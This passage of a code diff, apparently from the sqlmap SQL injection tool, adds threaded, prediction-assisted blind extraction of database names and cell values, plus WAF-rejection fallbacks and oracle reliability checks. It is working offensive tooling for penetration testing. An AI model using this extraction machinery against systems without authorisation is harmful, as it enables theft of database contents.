threadData.lowCardHit and tries < 3: + verdict = _verifyInferredValue(expression, value) + if verdict is True: + break + tries += 1 + _, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + if verdict is None and other == value: # two independent extractions agree -> trust it + break + value = other # equality said wrong, or the two disagree -> adopt fresh, recheck + except Exception as ex: + logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex)) + value = None + + with kb.locks.value: + results[slot] = value + + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly + # like the error/union dumps), so a dump shows its data live rather than a silent counter. + if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + with kb.locks.io: + rendered = safecharencode(unArrayizeValue(value)) + dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + + # Save/restore the calling thread's state: with a single thread runThreads runs the worker + # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. + savedPartRun = kb.partRun + mainThreadData = getCurrentThreadData() + savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared + kb.partRun = context + try: + runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) + finally: + kb.partRun = savedPartRun + mainThreadData.disableStdOut = savedStdOut + mainThreadData.shared = savedShared + if savedTechnique is not None: + setTechnique(savedTechnique) + + # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is + # re-extracted serially via the classic getValue() path - full error handling, and a persistent error + # surfaces there - rather than being silently returned as an empty value. + for slot in xrange(len(results)): + if results[slot] is None and kb.threadContinue: + results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType) + + return results + @lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 46a99430c..6e5bb4f27 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -20,10 +20,12 @@ from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter +from lib.core.common import getFileItems from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData -from lib.core.common import goGoodSamaritan +from lib.core.common import openFile +from lib.core.common import predictValue from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -34,6 +36,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE @@ -44,6 +47,13 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK +from lib.core.settings import DUMP_CHARSET_STABLE_ROWS +from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES +from lib.core.settings import LOW_CARDINALITY_THRESHOLD +from lib.core.settings import NAME_PREDICTION_CONTEXTS +from lib.core.settings import NAME_MARKOV_ORDER +from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK @@ -73,6 +83,174 @@ from thirdparty import six # outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". _HUFFMAN_FALLBACK = object() +# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process +_huffmanPriorCache = {} + +def normalizedExpression(expression): + """ + Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies + from row to row is masked so every row of the same column maps to a single key. Used to group a + column's values for low-cardinality guessing and for its per-column online Huffman model. + + >>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1") + True + """ + + retVal = expression + + for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"): + retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I) + + return retVal + +def getHuffmanPrior(order, scale, dbms=None): + """ + Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman + set-membership tree during blind NAME enumeration (so it predicts from the first character rather + than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the + back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching + [] section of catalog-identifiers.txt - a single global model dilutes across dialects). + Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. + """ + + if (order, scale, dbms) in _huffmanPriorCache: + return _huffmanPriorCache[(order, scale, dbms)] + + prior = {} + names = [] + + for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES): + try: + names.extend(getFileItems(path)) + except Exception: + pass + + if dbms: + try: + with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f: + section = None + for line in f: + line = line.strip() + if not line or line.startswith('#'): + continue + if line.startswith('[') and line.endswith(']'): + section = line[1:-1] + elif section == dbms: + names.append(line) + except Exception: + pass + + for name in names: + terminated = name + "\x00" + for i in xrange(len(terminated)): + ordinal = ord(terminated[i]) + if ordinal < 128: + counts = prior.setdefault(terminated[max(0, i - order):i], {}) + counts[ordinal] = counts.get(ordinal, 0) + 1 + + for counts in prior.values(): + peak = max(counts.values()) or 1 + for ordinal in counts: + counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak))) + + _huffmanPriorCache[(order, scale, dbms)] = prior + return prior + +def contextWeights(model, prior, order, prefix): + """ + Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus + the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest + context has not been seen yet. The online model is snapshotted under kb.locks.prediction because + value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise). + """ + + weights = {} + context = prefix[-order:] if order > 0 else "" + + while True: + with kb.locks.prediction: + online = dict(model.get(context) or ()) + for source in (online, prior.get(context) if prior is not None else None): + if source: + for symbol, count in source.items(): + weights[symbol] = weights.get(symbol, 0) + count + + if weights or not context: + break + + context = context[1:] + + return weights + +def valueMatchCondition(expressionUnescaped, value): + """ + Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a + string), or None when a whole-value equality cannot be trusted and the caller must fall back to + per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification. + + Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by + the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same + bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a + needless re-extraction). ASCII values compare reliably. + + On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a + numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare- + number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL) + "text = 1" is a hard type error that would abort the whole boolean, and there the expression is already + text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides + whether a whole-value shortcut hits or falls back to per-character extraction. + + >>> valueMatchCondition("q", "abc").count("OR") + 0 + >>> valueMatchCondition("q", u"caf\\xe9") is None + True + """ + + if value is None or any(ord(_) >= 128 for _ in value): + return None + + quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False) + condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted) + + if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE: + condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value) + + return condition + +def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare): + """ + Known-answer differential health-check on the inference oracle, using the value just extracted. + Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = " (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel + (e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe, + and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal. + + Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected + inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII). + """ + + if not value or valueMatchCondition(expressionUnescaped, value) is None: + return True + + # a definitely-different copy: flip the last character to a neighbour that cannot equal it + corrupt = value[:-1] + ("a" if value[-1] != "a" else "b") + corruptCondition = valueMatchCondition(expressionUnescaped, corrupt) + if corruptCondition is None: + return True + + try: + truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value)))) + mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition))) + mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + except Exception: + return True # a transient hiccup is not evidence of an unreliable oracle + + return bool(mustBeTrue) and not bool(mustBeFalse) + def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection @@ -84,6 +262,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None partialValue = u"" finalValue = None retrievedLength = 0 + columnKey = None if payload is None: return 0, None @@ -97,6 +276,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() + threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) @@ -139,14 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None expression = match.group(2).strip() try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the - # engine is called from the API, or a JSON report is being collected (so enumeration output is tagged) - if conf.predictOutput: - kb.partRun = getPartRun() - elif conf.api or conf.reportJson: - kb.partRun = getPartRun(alias=False) - else: - kb.partRun = None + # kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH + # the value-parallel and the classic serial name-enumeration paths. It is derived from the call + # stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites + # when it finds a match, so it does NOT clobber the context the value-parallel helper set for its + # worker threads (whose call stack does not include the enumeration method -> getPartRun is None). + derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson)) + if derivedPartRun is not None: + kb.partRun = derivedPartRun if partialValue: firstChar = len(partialValue) @@ -180,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) + # Row-independent key for this column (pagination offset masked), grouping all of a column's + # rows for low-cardinality guessing and for its own per-column online Huffman model. + columnKey = normalizedExpression(expression) if dump else None + + # Low-cardinality whole-value guessing: when the distinct values already seen for this column are + # few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them + # (one request on a hit) before per-character extraction - a large win on the enum/flag/status/ + # category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails). + # Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed + # request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires + # on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay. + if columnKey is not None and not partialValue: + # Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently). + with kb.locks.prediction: + seen = dict(kb.lowCardCache.get(columnKey) or ()) + # Arm only once SOME value has repeated (max count >= 2): that is the proof the column is + # low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe. + # Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a + # column that trips the threshold with many near-unique values wastes only a bounded number of + # probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value. + if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2: + for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]: + matchCondition = valueMatchCondition(expressionUnescaped, candidate) + if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char + continue + forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition))) + hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit and timeBasedCompare: + # A single time-based boolean is noisy; confirm the whole-value hit with a + # not-equals check (validateChar spirit) before trusting it, so timing jitter can + # never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the + # ~7-delays/char x N of full extraction. + notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition))) + hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit: + threadData.lowCardHit = True + return getCounter(getTechnique()), candidate + + # Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context + # and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name + # from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN + # order-0 model: each column learns its own character distribution, so a column restricted to few + # characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone + # (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution. + # Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads + # too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is. + if kb.partRun in NAME_PREDICTION_CONTEXTS: + huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER + huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms()) + else: + huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: @@ -211,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: numThreads = 1 - if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): + if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) @@ -295,12 +529,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None back to the classic bisection. Returns the character, or None to fall back. """ ESCAPE = -1 - model = kb.huffmanModel + model = kb.huffmanModel.setdefault(huffmanKey, {}) + threadData = getCurrentThreadData() + + # Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online + # model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the + # first character); order 0 collapses to the classic single-context adaptive model. Retrieval + # is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so + # the model - even raced under threads - only ever affects speed, never the returned value. + context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else "" + weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue) heap = [] for order, ordinal in enumerate(xrange(128)): - heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) - heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) + heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,))) counter = 129 while len(heap) > 1: @@ -337,12 +580,23 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) + # Guard against target-side length limits / WAFs that reject the (potentially long) + # "IN (...)" list: an HTTP error code that is not the technique's own true/false code means + # this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk + # cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=') + # bisection, which re-extracts and validates it; the escape counter in getChar() latches + # Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a + # normal content-based (200/200) response never trips it. + if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)): + return _HUFFMAN_FALLBACK + node = testNode if result else otherNode value = node[0] if value == ESCAPE: - model[ESCAPE] = model.get(ESCAPE, 0) + 1 + with kb.locks.prediction: + model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1 return _HUFFMAN_FALLBACK if value == 0: @@ -365,13 +619,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None kb.disableHuffman = True return _HUFFMAN_FALLBACK - model[value] = model.get(value, 0) + 1 + with kb.locks.prediction: + model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1 return decodeIntToUnicode(value) - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 + + restricted means charTbl is a narrowed per-column observed range (time-based only): a character + landing outside it fails validateChar and is re-extracted over the full charset. """ threadData = getCurrentThreadData() @@ -381,7 +639,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if result: return result - if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare + # Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for + # time-based, where each membership step is timing-noisy and lacks per-character validation + # (measured to trade accuracy for little/no gain there); time-based relies on plain bisection + # plus low-cardinality whole-value guessing instead. + if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 @@ -545,6 +807,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if restricted: + # the character fell outside this column's observed range - re-extract + # over the full charset (not timing noise, so no delay increase / retry count) + return getChar(idx, asciiTbl, True, retried=retried) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec @@ -625,6 +891,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return None else: return decodeIntToUnicode(candidates[0]) + elif restricted: + # the self-validating '=' failed: the character is outside this column's observed set + # (or is end-of-string) - re-extract over the full charset, which validates the value + # and detects end-of-string correctly + return getChar(idx, asciiTbl, True, retried=retried) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: @@ -732,11 +1003,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment - if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: + if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0: val = None - commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) + commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl) - # If there is one single output in common-outputs, check + # If a single wordlist entry matches the prefix, confirm # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue @@ -778,19 +1049,45 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None val = commonPattern[index - 1:] index += len(val) - 1 - # Otherwise if there is no commonValue (single match from - # txt/common-outputs.txt) and no commonPattern - # (common pattern) use the returned common charset only - # to retrieve the query output - if not val and commonCharset: - val = getChar(index, commonCharset, False) - - # If we had no luck with commonValue and common charset, - # use the returned other charset + # Char-by-char fallback. When Huffman is actually active it is driven over the full + # (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next + # character at its root (~1 request), subsuming the common/other charset split. When + # Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED + # where getChar disables it) the classic reordered-charset bisection is used instead - so + # the predicted commonCharset ordering is not thrown away (time-based would otherwise pay + # full-charset bisection for every character). if not val: - val = getChar(index, otherCharset, otherCharset == asciiTbl) + if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare: + val = getChar(index, asciiTbl, True) + else: + if commonCharset: + val = getChar(index, commonCharset, False) + + if not val: + val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) + # Time-based dump: once a column's character set has proven closed (unchanged for + # DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those + # observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality + # self-validates the character (no separate validateChar). A narrow-charset column (hex, + # digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1 + # delayed requests/char. A character outside the observed set makes that '=' fail and is + # re-extracted over the full charset (see the restricted escalation in getChar). Time-based + # only: boolean has no per-character validation to catch such a miss (and uses Huffman). + restrictedTbl = None + if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset + and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS): + with kb.locks.prediction: + observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe) + if observed and len(observed) <= 64: + # include the 0 end-of-string sentinel so end is detected in-band (the bit-search + # returns None on 0), avoiding a full-charset escalation at the end of every value + restrictedTbl = sorted(observed | set((0,))) + + if restrictedTbl is not None: + val = getChar(index, restrictedTbl, False, expand=False, restricted=True) + else: + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -831,11 +1128,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one hashDBWrite(expression, finalValue) - # Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted - # value for its enumeration context so later same-context items sharing structure are predicted - # faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool); - # a wrong prediction only ever costs a probe and falls back to bisection. - if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None + # Adaptive intra-run prediction: remember this extracted name for its enumeration context so + # later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster. + # Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a + # value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe. + if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) @@ -861,6 +1158,42 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None _ = finalValue or partialValue + # Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most + # common values are probed first; bounded so a clearly high-cardinality column stops accumulating). + if columnKey is not None and finalValue: + # Track the column's low-cardinality cache and observed character set. Guarded by the prediction + # lock because value-parallel dump workers update these concurrently. + ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128) + with kb.locks.prediction: + seen = kb.lowCardCache.setdefault(columnKey, {}) + if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2: + seen[finalValue] = seen.get(finalValue, 0) + 1 + + if ordinals: + existing = kb.dumpCharset.setdefault(columnKey, set()) + grew = not ordinals.issubset(existing) # did this row introduce a never-seen character? + existing.update(ordinals) + # Trust the observed alphabet as closed only after it stays unchanged for several consecutive + # rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and + # never triggers the restricted search, so it is never charged the miss-then-escalate cost. + kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1 + + # Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a + # known-answer differential so an always-true / flaky / degraded channel that would otherwise dump + # SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always + # checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th. + if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode + and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)): + with kb.locks.prediction: + kb.litmusCounter += 1 + due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0) + if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare): + kb.reliabilityAlarm = True + warnMsg = "the target's responses are inconsistent for known-true/known-false probes " + warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may " + warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying" + singleTimeWarnMessage(warnMsg) + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 20d0941bd..c439863b9 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -401,26 +401,39 @@ class Databases(object): plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): - query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = _query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): - query = _query % (index, unsafeSQLIdentificatorNaming(db)) - elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): - query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) - else: - query = _query % (unsafeSQLIdentificatorNaming(db), index) + # Value-parallel, prediction-assisted name enumeration for the DBMSes using the + # generic ", " blind template. Retrieves whole names concurrently (one per + # worker, each decoded sequentially so wordlist prediction applies). Used only with + # '--threads' (like getColumns below); single-thread stays on the classic getValue loop, + # which still gets predictive inference via getPartRun. The special templates stay serial. + genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): + if not isNoneValue(table): + kb.hintValue = table + tables.append(safeSQLIdentificatorNaming(table, True)) + else: + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) if tables: kb.data.cachedTables[db] = tables @@ -841,7 +854,7 @@ class Databases(object): logger.error(errMsg) continue - for index in getLimitRange(count): + def columnNameQuery(index): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, 